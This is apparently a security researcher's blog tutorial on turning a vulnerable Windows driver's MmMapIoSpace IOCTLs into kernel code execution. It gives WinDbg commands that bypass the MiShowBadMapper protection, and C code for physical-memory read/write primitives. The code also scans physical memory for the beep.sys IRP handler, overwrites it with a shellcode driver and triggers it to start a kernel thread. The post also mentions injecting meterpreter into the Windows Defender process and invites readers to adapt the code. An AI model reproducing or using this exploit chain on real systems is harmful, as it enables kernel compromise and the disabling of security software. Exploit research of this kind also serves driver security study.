Introduction
To continue our journey in exploiting vulnerable drivers we will investigate one of the more common kernel NT functions responsible for memory corruptions, namely MmMapIoSpace
. As per Microsoft documentation the function takes a physical (RAM) address as argument and returns the base virtual address that maps the base physical address for the range. So basically we can map physical addresses into virtual user space, which is pretty neat. Unfortunately from a kernel exploit developers perspective this function is primarily used for interacting with hardware, where the physical addresses are well-defined and memory-mapped device registers or reserved regions of physical memory are allocated by the operating system.
Due to the fact MmMapIoSpace
operates directly on physical memory reliable exploitation to get arbitrary read and write primitives is particularly challenging. Modern OSes like Windows handle memory management using paging, where virtual addresses are mapped to physical addresses via page tables, making the physical memory layout invisible to user-mode. To abuse MmMapIoSpace, you need the exact physical address of the virtual memory region to map, translating virtual addresses to physical ones is difficult due to OS restrictions and the inability to map page tables.
Additionally, physical memory is often fragmented and dynamically managed, further complicating direct access. These challenges make working with MmMapIoSpace
a rather non-trivial task.
Exploitation with WinDbg
Since we need to work directly with physical memory, we must determine how to translate physical addresses into the virtual address space to interact with them effectively. The challenge lies in the fact that, under normal circumstances, developers rarely deal with physical memory directly, as this is entirely managed by the operating system. The OS abstracts the physical memory layout, handles paging, and provides virtual memory mappings, making physical addresses largely irrelevant for typical development tasks.
However, if we aim to hijack execution in kernel mode, we need a way to locate and manipulate specific regions of physical memory in a different way. This requires bypassing the operating system’s abstractions to identify where kernel data structures or function pointers reside in physical memory. Without direct access to page tables for virtual-to-physical translation (restricted by modern Windows implementations), we must rely on alternative techniques, such as scanning physical memory for known patterns to locate our target memory regions. Only then can we map, modify, or overwrite these areas to achieve our desired level of control in kernel mode.
Another issue arises from changes introduced in Windows 10 version 1803, which specifically prevent mapping page tables and certain other sensitive memory regions using MmMapIoSpace
. This presents itself particularly frustrating when kernel debugging where a simple physical memory read operation can unexpectedly cause the system to bugcheck. This behavior is one of the quirks associated with exploiting MmMapIoSpace
and is linked to the MiShowBadMapper
mechanism.
In Windows 10, bypassing this restriction can be done by modifying a single byte (changing its value from 0 to 2). However, in Windows 11, the process is more complex and requires some additional effort.
For Windows 10 the necessary steps in WinDbg are as follows:
0: kd> u MiShowBadMapper L20
nt!MiShowBadMapper:
fffff801`0a141ac4 48895c2410 mov qword ptr [rsp+10h],rbx
fffff801`0a141ac9 48896c2418 mov qword ptr [rsp+18h],rbp
fffff801`0a141ace 4889742420 mov qword ptr [rsp+20h],rsi
fffff801`0a141ad3 57 push rdi
fffff801`0a141ad4 4881ec90000000 sub rsp,90h
fffff801`0a141adb 488b050e511600 mov rax,qword ptr [nt!_security_cookie (fffff801`0a2a6bf0)]
fffff801`0a141ae2 4833c4 xor rax,rsp
fffff801`0a141ae5 4889842480000000 mov qword ptr [rsp+80h],rax
fffff801`0a141aed 8a1de7ad1900 mov bl,byte ptr [nt!MiState+0x1eda (fffff801`0a2dc8da)]
0: kd> eb fffff801`0a2dc8da 2
To patch the check in Windows 11 following commands can be used:
0: kd> u MiShowBadMapper L30
nt!MiShowBadMapper:
fffff803`09e3542c 48895c2418 mov qword ptr [rsp+18h],rbx
fffff803`09e35431 55 push rbp
fffff803`09e35432 56 push rsi
fffff803`09e35433 57 push rdi
fffff803`09e35434 4154 push r12
fffff803`09e35436 4155 push r13
fffff803`09e35438 4156 push r14
fffff803`09e3543a 4157 push r15
fffff803`09e3543c 488d6c24d9 lea rbp,[rsp-27h]
</snip>
fffff803`09e3549d 1bff sbb edi,edi
fffff803`09e3549f 23f9 and edi,ecx
fffff803`09e354a1 4484f9 test cl,r15b
fffff803`09e354a4 7419 je nt!MiShowBadMapper+0x93 (fffff803`09e354bf)
fffff803`09e354a6 443825a7445d00 cmp byte ptr [nt!KdPitchDebugger (fffff803`0a409954)],r12b
fffff803`09e354ad 7510 jne nt!MiShowBadMapper+0x93 (fffff803`09e354bf)
fffff803`09e354af 44382513566200 cmp byte ptr [nt!KdDebuggerNotPresent (fffff803`0a45aac9)],r12b
fffff803`09e354b6 7507 jne nt!MiShowBadMapper+0x93 (fffff803`09e354bf)
fffff803`09e354b8 8bf9 mov edi,ecx
fffff803`09e354ba e9c9010000 jmp nt!MiShowBadMapper+0x25c (fffff803`09e35688)
fffff803`09e354bf 85ff test edi,edi
fffff803`09e354c1 0f85c1010000 jne nt!MiShowBadMapper+0x25c (fffff803`09e35688)
fffff803`09e354c7 4c8d4c2448 lea r9,[rsp+48h]
fffff803`09e354cc 4c8d4597 lea r8,[rbp-69h]
fffff803`09e354d0 8d5710 lea edx,[rdi+10h]
fffff803`09e354d3 e8984dbdff call nt!RtlCaptureStackBackTrace (fffff803`09a0a270)
0: kd> bp fffff803`09e354a1 "r r15 = 0; gc"
To verify our driver is vulnerable we need to show that we can read and write arbitrary memory regions from user-space. For a simple proof of concept we will use a kernel debugger (WinDbg) and Filetest. Translating virtual to physical addresses in WinDbg is rather straight-forward, as we can extract the necessary information directly in the debugger.
The CR3
register (Control Register 3) serves a key role in memory management. It stores the physical address of the page directory base in memory, which is an essential part of the paging mechanism. The page directory base is used during the translation of virtual addresses into their corresponding physical addresses, making the CR3
register an integral component of the virtual memory management system.
The following example demonstrates how writable kernel memory can be translated into a physical address for use in memory-related operations. As part of our proof of concept, we utilize the well-known KUserSharedData
structure. This choice is deliberate because it is a reliable and predictable target, as it is almost certain that data can be written into its offset at +0x800
. The KUserSharedData
structure is typically located at the virtual memory address 0xfffff78000000000
, making it a consistent and accessible location for this kind of operation. The screenshot included here provides a detailed illustration of how the translation process is carried out in practice.
The next step is to utilize our arbitrary read and write primitives to determine whether it is possible to modify kernel memory directly from user space. This approach allows us to test if unauthorized manipulation of kernel-level data can be achieved.
The driver employs IOCTL code 0x8000649c
to perform the mapping of physical memory to virtual address space using MmMapIoSpace
.
The Ghidra disassembly of the vulnerable write function is provided below:
Similarly, memory can be read using the IOCTL code 0x80006498
. This IOCTL is utilized by the driver to perform memory read operations, allowing access to specific regions of memory.
To interact with kernel memory, we use our trusted filetest
tool to experiment with writable regions. Recall that KUserSharedData
is located at the physical address 0xf7e2d800
.
In the next screenshot, we demonstrate writing a test payload, specifically the value 0x4141424243434444
, into KUserSharedData
at offset +0x800
. This operation confirms whether user space processes can successfully modify this memory region.
Using WinDbg, we can confirm that the data has been successfully written to the targeted memory location. The debugger output verifies that the test payload has been correctly placed in the KUserSharedData
structure at the specified offset.
The same outcome can be achieved directly from user space by utilizing the IOCTL code 0x80006498
. This demonstrates that the memory write operation can be performed from user land, providing the expected results without requiring kernel-level access.
Exploit Development
In both scenarios, we can modify or read 8 bytes of memory at a time. The following C code provides an example of how these read and write operations can be implemented:
DWORD64 readPhysMem8bPrimitive(HANDLE driver, DWORD64 physicalAddress) {
DWORD lpBytesReturned;
char iBuf[8];
char oBuf[8];
memcpy(&iBuf[0], &physicalAddress, 0x8);
// calling kernel function MmMapioSpace to map physical address into user space
BOOL status = DeviceIoControl(
driver,
IOCTL_CODE_READ_4B,
iBuf,
0x8,
oBuf,
0x8,
&lpBytesReturned,
NULL
);
return (DWORD64)(*(DWORD64*)oBuf);
}
void writePhysMem8bPrimitive(HANDLE driver, DWORD64 physicalAddress, DWORD64 bPayload) {
DWORD lpBytesReturned;
char iBuf[0x10];
memcpy(&iBuf[0], &physicalAddress, 0x8);
memcpy(&iBuf[8], &bPayload, 0x8);
// calling kernel function MmMapioSpace to map physical address into user space
BOOL status = DeviceIoControl(
driver,
IOCTL_CODE_WRITE_8B,
iBuf,
0x10,
NULL,
0,
&lpBytesReturned,
NULL
);
}
With these two functions, we now have the capability to exploit our driver and execute arbitrary code in kernel mode. While this approach is effective, there are limitations to consider. Since we cannot directly modify critical data structures like Page Table Entries (PTEs) or other sensitive components in ring 0, we need an alternative method.
Fortunately, after some effort and research, I came across an excellent blog post by stong on CVE-2020-15368. In this post, he demonstrates how to overwrite the Beep IRP handler with shellcode mapped from a custom driver. This technique aligns perfectly with our needs, so we will follow the same approach.
As an additional note, there was a recent research publication by Cedrik Van Bockhaven from Outflank titled “Mapping Virtual to Physical Addresses Using Superfetch”, which explores bypassing restrictions with MmMapIoSpace
. However, since my research predates this (conducted in 2022 but not yet published), I have not incorporated those findings into this approach.
The beep functionality on a PC is managed by a kernel driver beep.sys
, which is loaded by default on all Windows systems. Drawing from techniques used in game hacking, we locate the signature in memory where the driver invokes its IRP Handler, overwrite this address with our custom shellcode, and then trigger the exploit by using beep.sys's
IOCTL code. This method effectively repurposes the Beep driver to execute our payload, providing a reliable path for kernel-mode code execution.
Below is the signature we need to locate in memory, and in the WinDbg output we can examine the bytes at the start of the beep IRP handler:
DWORD64 beepSignature1 = 0x8b4c20ec83485340;
DWORD64 beepSignature2 = 0xd28b4c000000b882;
Here’s the function to accomplish this in C:
BOOL findBeepIOHandler(IN HANDLE driver, OUT DWORD64* pBeepHandler) {
PRINTA("[i] interacting with driver to scan for beep signature\n");
DWORD64 start = 0x000001290;
DWORD64 end = 0x2fffff290;
for (DWORD64 index = start; index <= end; index += 0x1000) {
//PRINTA("[+] check index 0x%x\n", index);
DWORD64 byteSequence = readPhysMem8bPrimitive(driver, index);
// check bytes at physical memory
if (byteSequence) {
//PRINTA("[+] check bytes for beep %x\n", byteSequence);
DWORD64 beepSignature1 = 0x8b4c20ec83485340;
DWORD64 beepSignature2 = 0xd28b4c000000b882;
if (byteSequence == beepSignature1) {
// success signature[8] found, check next 8 bytes for confirmation
byteSequence = readPhysMem8bPrimitive(driver, (index + 0x8));
if (byteSequence == beepSignature2) {
// save
*pBeepHandler = index;
PRINTA("[+] beep IOCTL handler at 0x%x\n", pBeepHandler);
return TRUE;
}
}
}
}
PRINTA("Beep IOCTL Handler not found, exiting\n");
return FALSE;
}
Once we have successfully located the IRP Handler, the next step is to write our shellcode (which essentially consists of our custom driver) to that specific memory address. After placing the shellcode, we can trigger the Beep IOCTL to initiate the exploitation. The driver code itself is relatively simple: it allocates memory, copies the shellcode into this allocated region, and then starts a new thread to execute arbitrary code.
What makes this method so powerful is that, once the thread is up and running, we gain the ability to execute virtually any code in kernel memory. This provides us with immense flexibility and control over what can be executed next. It’s an incredibly elegant solution, and the credit goes to stong for the brilliant idea. Neat!
// Driver.c
__int64 __declspec(dllexport) __fastcall ShellCodeIrpHandler(struct _DEVICE_OBJECT* a1, IRP* irp) {
ULONG ioctl_no = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
BeepIRPStruct* pBeepStructData = (BeepIRPStruct*)irp->AssociatedIrp.SystemBuffer;
PVOID pRwxData = pBeepStructData->nt_ExAllocatePoolWithTag(NonPagedPoolExecute, pBeepStructData->szPayloadSize, 'hoho');
//__debugbreak();
pBeepStructData->nt_memcpy(pRwxData, pBeepStructData->bPayload, pBeepStructData->szPayloadSize);
// start thread
HANDLE hThread;
PVOID pStartAddr = (void*)((uintptr_t)pRwxData + 0x1000);
pBeepStructData->nt_PsCreateSystemThread(&hThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, (PKSTART_ROUTINE)pStartAddr, NULL);
((void (*)(PIRP, CCHAR))pBeepStructData->nt_IofCompleteRequest)(irp, 0);
return 0;
}
__int64 __declspec(dllexport) ShellCodeIrpHandler_end;
// ----------------------------------------------------------------
// run some attack
BOOL runTestPayload() {
DBG_LOG("[+] Greetings From Kernel Land! \n");
return TRUE;
}
// ----------------------------------------------------------------
DRIVER_INITIALIZE DriverEntry;
_Use_decl_annotations_
NTSTATUS
DriverEntry(
struct _DRIVER_OBJECT* DriverObject,
PUNICODE_STRING RegistryPath
) {
DBG_LOG("[+] Driver Loaded Successfully \n");
if (!runTestPayload()) {
DBG_LOG("Executing Attack Payload Failed \n");
return -1;
}
DbgPrint("[*] DONE!\n");
return STATUS_SUCCESS;
}
What is left to do in our exploit is to resolve some function pointers. Although Stong’s code also includes handling for relocations, this part was not required for my specific scenario. The reason for this is that all the code we need is contained within the .text
section, meaning that there are no global variables or other external references that would necessitate handling relocations. This greatly simplifies the process, as it avoids the need for additional complexity related mind boggling relocations. Instead, we resolve the function pointers to ensure the correct execution flow and copy all the necessary addresses and the payload (i.e. the actual driver PE file’s .text section) to a struct which we will finally pass to the beep IRP handler.
// DriverIRP.h
typedef struct BeepIRPStruct {
void* g_NtosKrnl;
void (*nt_memcpy)(PVOID dst, PVOID src, SIZE_T len);
void* (*nt_ExAllocatePoolWithTag)(ULONG PoolType, SIZE_T NumberOfBytes, ULONG Tag);
NTSTATUS(*nt_PsCreateSystemThread)(PHANDLE ThreadHandle, ULONG DesiredAccess, void* ObjectAttributes, HANDLE ProcessHandle, void* ClientId, void* StartRoutine, PVOID StartContext);
void* nt_IofCompleteRequest;
SIZE_T szPayloadSize;
BYTE bPayload[];
} BeepIRPStruct, pBeepIRPStruct;
BOOL CopyFunctionPointers() {
PRINTA("[+] ------------------------------------------------------\n");
PRINTA("[i] Calculating and Copying Function Pointers \n");
DWORD64 dwNtosKrnlBase = g_NtosKrnl;
if (!dwNtosKrnlBase)
{
PRINTA("Can't find address of ntoskrnl.exe\n");
return -1;
}
PRINTA("[i] Kernel Base located at %p\n", dwNtosKrnlBase);
// load ntoskrnl.exe library to retrieve function pointers for shellcode
HMODULE hNtoskrnl = LoadLibraryExA("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (!hNtoskrnl)
{
PRINTA("[!] Failed to map Ntoskrnl Dll");
return -1;
}
PRINTA("[i] Ntoskrnl.exe Dll located at 0x%p\n", hNtoskrnl);
g_BeepIRPShellcodeData->g_NtosKrnl = (void*)dwNtosKrnlBase;
PVOID memcpy = (PVOID)GetProcAddress(hNtoskrnl, "memcpy");
PRINTA("\t[V] --> GetProcAddress memcpy at %p\n", memcpy);
g_BeepIRPShellcodeData->nt_memcpy = (PVOID)(dwNtosKrnlBase + (DWORD64)memcpy - (DWORD64)hNtoskrnl);
PRINTA("\t[V] --> nt!memcpy at %p\n", g_BeepIRPShellcodeData->nt_memcpy);
PVOID ExAllocatePoolWithTag = (void*)GetProcAddress(hNtoskrnl, "ExAllocatePoolWithTag");
PRINTA("\t[V] --> GetProcAddress ExAllocatePoolWithTag at %p\n", ExAllocatePoolWithTag);
g_BeepIRPShellcodeData->nt_ExAllocatePoolWithTag = (PVOID)(dwNtosKrnlBase + (DWORD64)ExAllocatePoolWithTag - (DWORD64)hNtoskrnl);
PRINTA("\t[V] --> nt!ExAllocatePoolWithTag at %p\n", g_BeepIRPShellcodeData->nt_ExAllocatePoolWithTag);
PVOID PsCreateSystemThread = (void*)GetProcAddress(hNtoskrnl, "PsCreateSystemThread");
PRINTA("\t[V] --> GetProcAddress PsCreateSystemThread at %p\n", PsCreateSystemThread);
g_BeepIRPShellcodeData->nt_PsCreateSystemThread = (NTSTATUS(*)(PHANDLE ThreadHandle, ULONG DesiredAccess, void* ObjectAttributes, HANDLE ProcessHandle, void* ClientId, void* StartRoutine, PVOID StartContext))(dwNtosKrnlBase + (DWORD64)PsCreateSystemThread - (DWORD64)hNtoskrnl);
PRINTA("\t[V] --> nt!PsCreateSystemThread at %p\n", g_BeepIRPShellcodeData->nt_PsCreateSystemThread);
PVOID IofCompleteRequest = (void*)GetProcAddress(hNtoskrnl, "IofCompleteRequest");
PRINTA("\t[V] --> GetProcAddress IofCompleteRequest at %p\n", IofCompleteRequest);
g_BeepIRPShellcodeData->nt_IofCompleteRequest = (PVOID)(dwNtosKrnlBase + (DWORD64)IofCompleteRequest - (DWORD64)hNtoskrnl);
PRINTA("\t[V] --> nt!IofCompleteRequest at %p\n", g_BeepIRPShellcodeData->nt_IofCompleteRequest);
PRINTA("[+] Processing Function Pointers Success! \n");
PRINTA("[+] ------------------------------------------------------\n");
return TRUE;
}
The output of the code is shown below:
We also need to update the IAT of the PE file to execute the position independent code once we call the kernel thread. The following code illustrates how this process is carried out in practice. First we map the custom driver including the IRP handler into memory, resolve all the sections and imports and finally retrieve all the function pointers required for our exploit code.
// Exploit.c
BOOL APIENTRY ProcessShellcodeData(LPCSTR szPath) {
int NonPagedPoolExecute = 0;
PRINTA("[+] ------------------------------------------------------\n");
PRINTA("[i] Mapping Driver PE File\n");
LPVOID hFile = CreateFileA(szPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (hFile == INVALID_HANDLE_VALUE) {
PRINTA("Invalid handle when map PE file\n");
return FALSE;
}
HANDLE hMapping = CreateFileMappingA(hFile, NULL, PAGE_READONLY | SEC_IMAGE_NO_EXECUTE, 0, 0, NULL);
if (!hMapping) {
PRINTA("Cannot make file mapping\n");
return FALSE;
}
LPVOID lpBase = MapViewOfFile(hMapping, FILE_MAP_READ, 0, 0, 0);
if (!lpBase) {
PRINTA("Cannot make MapViewOfFile\n");
return FALSE;
}
PIMAGE_DOS_HEADER image = (PIMAGE_DOS_HEADER)lpBase;
if (image->e_magic != IMAGE_DOS_SIGNATURE) {
PRINTA("IMAGE_DOS_SIGNATURE not matched\n");
return FALSE;
}
PIMAGE_NT_HEADERS pe = (PIMAGE_NT_HEADERS)((DWORD64)lpBase + image->e_lfanew);
if (pe->Signature != IMAGE_NT_SIGNATURE) {
PRINTA("IMAGE_NT_SIGNATURE not matched\n");
return FALSE;
}
LPVOID pPeMapping = VirtualAlloc(NULL, pe->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
PRINTA("[+] Mapping Success!\n");
PRINTA("[+] ------------------------------------------------------\n");
int num_sections = pe->FileHeader.NumberOfSections;
IMAGE_SECTION_HEADER* sectionHeader = (IMAGE_SECTION_HEADER*)((DWORD64)&pe->OptionalHeader + pe->FileHeader.SizeOfOptionalHeader);
// map sections
memcpy(pPeMapping, image, pe->OptionalHeader.SizeOfHeaders);
for (int i = 0; i < num_sections; i++, sectionHeader++) {
void* src = (void*)((DWORD64)image + sectionHeader->VirtualAddress);
void* dst = (void*)((DWORD64)pPeMapping + sectionHeader->VirtualAddress);
SIZE_T size = sectionHeader->SizeOfRawData;
memset(dst, 0, size);
memcpy(dst, src, size);
char name[9];
name[8] = 0;
memcpy(name, sectionHeader->Name, 8);
PRINTA("[i] Mapping Section %s (Fileoffset %x to VA %x-%x)\n", name, sectionHeader->PointerToRawData, sectionHeader->VirtualAddress, (uintptr_t)sectionHeader->VirtualAddress + size);
}
PRINTA("[+] ------------------------------------------------------\n");
PRINTA("[i] Resolving Imports of Driver PE File\n");
// resolve the imports
IMAGE_DATA_DIRECTORY* imports = &pe->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
PRINTA("[i] imports dir = 0x%x\n", (DWORD64)imports);
PRINTA("[i] imports dir va = 0x%x\n", (DWORD64)imports->VirtualAddress);
if (imports->VirtualAddress)
{
IMAGE_IMPORT_DESCRIPTOR* importDescriptor = (IMAGE_IMPORT_DESCRIPTOR*)((DWORD64)pPeMapping + imports->VirtualAddress);
while (TRUE) {
if (importDescriptor->Characteristics == 0) {
break;
}
PSTR moduleName = (PSTR)((DWORD64)pPeMapping + importDescriptor->Name);
PRINTA("[i] imports for %s\n", moduleName);
HMODULE hModule = GetModuleHandleA(moduleName);
if (!hModule) {
hModule = LoadLibraryExA(moduleName, NULL, DONT_RESOLVE_DLL_REFERENCES | LOAD_LIBRARY_SEARCH_DEFAULT_DIRS);
}
if (!hModule) {
PRINTA("failed to map %s\n", moduleName);
return FALSE;
}
IMAGE_THUNK_DATA* importLookupTable = (PIMAGE_THUNK_DATA)((uintptr_t)pPeMapping + importDescriptor->OriginalFirstThunk);
void** iat = (PVOID*)((DWORD64)pPeMapping + importDescriptor->FirstThunk);
PRINTA("[i] IAT is located at 0x%p\n", iat);
PRINTA("[i] Copy Function Pointers to Shellcode Driver Mapping:\n");
// struct _IMAGE_THUNK_DATA64 u1
while (importLookupTable->u1.AddressOfData) {
BOOL is_by_ordinal = importLookupTable->u1.AddressOfData >> 63;
if (is_by_ordinal) {
PRINTA("Sorry import by ordinal isnt supportd\n");
return FALSE;
}
IMAGE_IMPORT_BY_NAME* import_name = (IMAGE_IMPORT_BY_NAME*)((DWORD64)pPeMapping + importLookupTable->u1.AddressOfData);
PSTR sName = import_name->Name;
DWORD64 offset = (DWORD64)GetProcAddress(hModule, sName) - (DWORD64)hModule;
PRINTA("\t [V] --> %s = 0x%p\n", sName, g_NtosKrnl + offset);
DWORD64 resolved_import = g_NtosKrnl + offset;
*iat = (PVOID)resolved_import;
importLookupTable++;
iat++;
}
importDescriptor++;
}
}
PRINTA("[+] Resolving Imports Success!\n");
PRINTA("[+] ------------------------------------------------------\n");
SIZE_T szPeMappingSize = pe->OptionalHeader.SizeOfImage;
PRINTA("[i] Size of driver PE Image %d\n", szPeMappingSize);
g_szShellcodeDataSize = sizeof(BeepIRPStruct) + szPeMappingSize;
PRINTA("[i] Full Shellcode Data Size %d\n", g_szShellcodeDataSize);
g_BeepIRPShellcodeData = (BeepIRPStruct*)VirtualAlloc(NULL, g_szShellcodeDataSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!g_BeepIRPShellcodeData)
{
PRINTA("[!] VirtualAlloc failed\n");
return FALSE;
}
memcpy(g_BeepIRPShellcodeData->bPayload, pPeMapping, szPeMappingSize);
g_BeepIRPShellcodeData->szPayloadSize = szPeMappingSize;
//PrintHexData("pPeMapping:", pPeMapping, szPeMappingSize);
return TRUE;
}
The following shows the resolving of function pointers and the updated IAT after the modifications:
At offset +0x4000 is the updated IAT with the populated function pointers from above:
Once we have everything set up correctly we call the beep handler:
VOID triggerBeepIO(HANDLE driver) {
char out_buf[4000]; // doesnt really matter
DWORD bytes_returned;
PRINTA("[i] Sending Payload With Size 0x%x to Beep\n", g_szShellcodeDataSize);
//hexdump(BeepIRPShellcodeData, my_shellcode_data_sz);
BOOL result = DeviceIoControl(driver, 0x1234, g_BeepIRPShellcodeData, g_szShellcodeDataSize, out_buf, sizeof(out_buf), &bytes_returned, NULL);
if (!result) {
PRINTA("[!] Beep DeviceIOControl error %s\n", GetLastError());
}
PRINTA("[i] trigger DeviceIoControl Beep returns %d\n", result);
}
And our shellcode will execute:
The full code including two attacks can be found on Github. The first attack variant solely executes a print statement in kernel mode to verify everything is working as expected. A second attack that I shamelessly stole from maldev academy is to enumerate all processes and inject a meterpreter shellcode into the Windows Defender process. If you ever want to mess with a vulnerable driver that can read and write memory using MmMapIoSpace it should be trivial to adapt the code as needed. All you basically need to do is to write your own read and write primitives and you are all set. happy kernel memory mapping !